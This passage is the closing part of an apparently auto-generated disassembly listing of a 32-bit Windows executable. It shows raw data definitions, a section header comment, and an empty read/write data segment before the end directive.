		dd 6D4AC3D2h, 1, 0
		dd 1540000h, 6D4A0000h,	1, 4 dup(0)
		dd 1D770000h, 0ADA07C80h, 7C80h, 0ABh dup(0)
seg001		ends

; Section 3. (virtual address 00017000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00017000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 417000h
		align 2000h
_idata2		ends


		end start